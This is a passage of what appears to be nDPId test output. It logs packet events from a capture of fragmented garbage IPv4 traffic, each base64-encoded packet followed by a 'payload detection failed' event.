+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865810,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865835,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865888,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865901,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865929,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865943,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865992,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866005,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866018,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866046,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866059,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866086,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866112,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866127,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866177,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866210,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866220,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866234,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866247,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866275,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866288,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866300,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866315,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866327,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866341,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866355,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 